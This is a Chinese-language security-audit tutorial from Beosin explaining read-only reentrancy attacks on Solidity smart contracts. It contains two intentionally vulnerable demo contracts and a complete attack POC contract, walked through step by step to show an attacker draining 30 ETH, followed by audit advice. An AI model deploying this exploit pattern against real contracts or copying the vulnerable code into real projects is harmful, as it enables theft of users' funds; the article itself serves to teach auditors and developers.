本文作者:Beosin安全研究專家Sivan

近期,區塊鏈生態中發生了多起重入攻擊事件,這些攻擊事件並不像我們之前認識的重入漏洞,而是在項目存在重入鎖的情況下發生的只讀重入攻擊。

今天的安全審計必備知識,Beosin安全研究團隊將為大家講解什麼是“只讀重入攻擊”。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

哪些情況會導致重入漏洞風險?

在Solidity智能合約編程過程中,允許一個智能合約調用另一個智能合約的代碼。在很多項目的業務設計中,需要給某個地址發送ETH,但如果ETH接收地址是智能合約的話,會調用智能合約的fallback函數。如果惡意用戶在合約的fallback函數中寫入精心設計的代碼,就可能存在重入漏洞的風險。

攻擊者可以在惡意合約的fallback函數中重新發起對項目合約的調用,此時第一次調用過程還沒結束,部分變量還未更改,這種情況下進行第二次調用,會導致項目合約使用異常的變量進行相關計算或者使得攻擊者可以繞過一些檢查限制。

換而言之,重入漏洞的根本在於執行轉賬後並調用目標合約的某個接口,並且賬本的改變在調用目標合約之後導致檢查被繞過,也就是沒嚴格按照檢查-生效-交互模式設計。因此除了以太坊轉賬會導致重入漏洞,一些設計不當也會導致重入攻擊,例如以下示例:

1、調用可控的外部函數會導致可重入可能

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

2、ERC721/1155安全相關函數會導致重入可能

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

目前重入攻擊是一個常見的漏洞,大部分區塊鏈項目開發人員也能意識到重入攻擊的危害,項目中基本都設置了重入鎖,使得在調用某個擁有重入鎖的函數過程中,無法再次調用擁有同樣重入鎖的任何函數。雖然重入鎖可以有效的防止上述的重入攻擊,但是還有一種叫做“只讀型重入”的攻擊方式卻難以防範。

難以防範的“只讀重入”是什麼?

上述我們介紹了常見重入類型,其核心在於重入之後使用異常的狀態計算新狀態,從而導致狀態更新異常。那如果我們調用的函數是view修飾的只讀型函數,函數中並不會有任何的狀態修改,該函數調用之後,並不會對本合約造成任何影響。所以,這類函數項目開發者都不會太在意其重入的風險,並不會為其添加重入鎖。

雖然重入view修飾的函數基本不會對本合約造成影響,但是還有另外一種情況是某個合約會調用其他合約的view函數作為數據依賴,而該合約的view函數並未添加重入鎖,那麼則可能導致只讀重入的風險。

例如一個項目A合約中可以質押代幣和提取代幣,並且根據合約憑證代幣總量與質押總量提供查詢價格的功能,質押代幣與提取代幣之間存在重入鎖,查詢功能不存在重入鎖。現有另一個項目B,提供質押提取的功能,質押與提取之間存在重入鎖,質押提取函數均依賴於項目A的價格查詢功能進行憑證代幣的計算。

上述兩個項目之間存在只讀重入風險,如下圖:

1、攻擊者在ContractA中質押並提取代幣。

2、提取代幣會調用到攻擊者合約fallback函數。

3、攻擊者在合約中再次調用ContractB中的質押函數。

4、質押函數會調用ContractA的價格計算函數,此時ContractA合約的狀態並未更新,導致計算價格錯誤,計算出更多的憑證代幣發送給攻擊者。

5、重入結束後,ContractA的狀態更新。

6、最後攻擊者調用ContractB提取代幣。

7、此時ContractB獲取的數據已經是更新的,能提取更多的代幣。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

代碼原理分析

我們以如下demo為例進行只讀重入問題的講解,下文僅僅是測試代碼,無真實業務邏輯,只作為研究只讀重入的參考。

編寫ContractA合約:

pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * 重入鎖。 **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * 根據合約憑證幣總量與質押量計算質押價值,10e8為精度處理。 **/ function get_price() public view virtual returns (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /** * 用戶質押,增加質押量並提供憑證幣。 **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; _totalSupply+=mintamount; } /** * 用戶提取,減少質押量並銷毀憑證幣總量。 **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}(""); _balances[ msg.sender]-=burnamount; _totalSupply-=burnamount; }}

部署ContractA合約並質押50ETH,模擬項目已經處於運行狀態。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

編寫ContractB合約(依賴ContractA合約get_price函數):

pragma solidity ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; modifier noreentrancy(){ require( check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * 質押代幣,根據ContractA合約的get_price()來計算質押代幣的價值,計算出憑證代幣的數量**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value*contract_a.get_price()/10e8; _balances[msg.sender]+ =mintamount; } /** * 提取代幣,根據ContractA合約的get_price()來計算憑證代幣的價值,計算出提取代幣的數量**/ function withdrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances [msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender.call{value:amount}(""); } function balanceof(address acount)public view returns (uint256) { return _balances[acount]; }}

部署ContractB合約設置ContractA地址,並質押30ETH,同樣模擬項目已經處於運行狀態。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

編寫攻擊POC合約:

pragma solidity ^0.8.21;interface ContractA { function deposit() external payable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external payable; function withdrawFunds(uint256 amount) external; function balanceof(address acount) external view returns (uint256);}contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; constructor() payable{ _owner=payable(msg.sender); } function setaddr( address _contracta,address _contractb) public { contract_a=ContractA(_contracta); contract_b=ContractB(_contractb); } /** * 攻擊開始調用的函數,添加流動性、移除流動性、最後提取代幣。 **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this))); } /** * 重入中調用的質押函數。 **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * 攻擊結束後,提取ETH。 **/ function getEther() public { _owner.transfer(address(this).balance); } /** * 回調函數,重入關鍵。 **/ fallback()payable external { if(msg.sender==address(contract_a)){ deposit(); } }}

換一個EOA賬戶進行攻擊合約的部署轉入50ETH,設置ContractA與ContractB地址。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

向start函數中傳入50000000000000000000(50*10^18)並執行,發現ContractB的30ETH被POC合約轉移走了。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

再次調用getEther函數,攻擊者地址獲利30ETH。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

代碼調用過程分析:

start函數首先調用ContractA合約deposit函數抵押ETH,攻擊者傳入50*10^18,加上最開始合約擁有的50*10^18,此時,_allstake和_totalSupply都是100*10^18。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

接下來調用ContractA合約withdraw函數提取代幣,合約會先更新_allstake,並將50個ETH發送給攻擊合約,此時會調用到攻擊合約的fallback函數,最後再更新_totalSupply。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

在fallback函數中攻擊合約調用ContractB合約質押30個ETH,由於get_price為view函數,所以這裡ContractB合約成功重入了ContractA的get_price函數,此時由於還未更新_totalSupply,依舊為100*10^18,但_allstake已經減小到50*10^18,所以這裡返回的值將擴大2倍。會給攻擊合約增加60*10^18的憑證幣。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

重入結束後,攻擊合約調用ContractB合約提取ETH,此時_totalSupply已經更新成50*10^18,將計算出與憑證幣相同數量的ETH。給攻擊合約轉移了60ETH。最終攻擊者獲利30ETH。

安全審計必備知識 :近期頻發、難以防範的“只讀重入攻擊”是什麼?

Beosin安全建議

對於上面的安全問題,Beosin安全團隊建議:對於需要依賴其他項目作為數據支撐的項目,應該嚴格檢查依賴項目與自身項目相結合後的業務邏輯安全性。在兩個項目單看均沒有問題的情況下,結合後便可能出現嚴重的安全問題。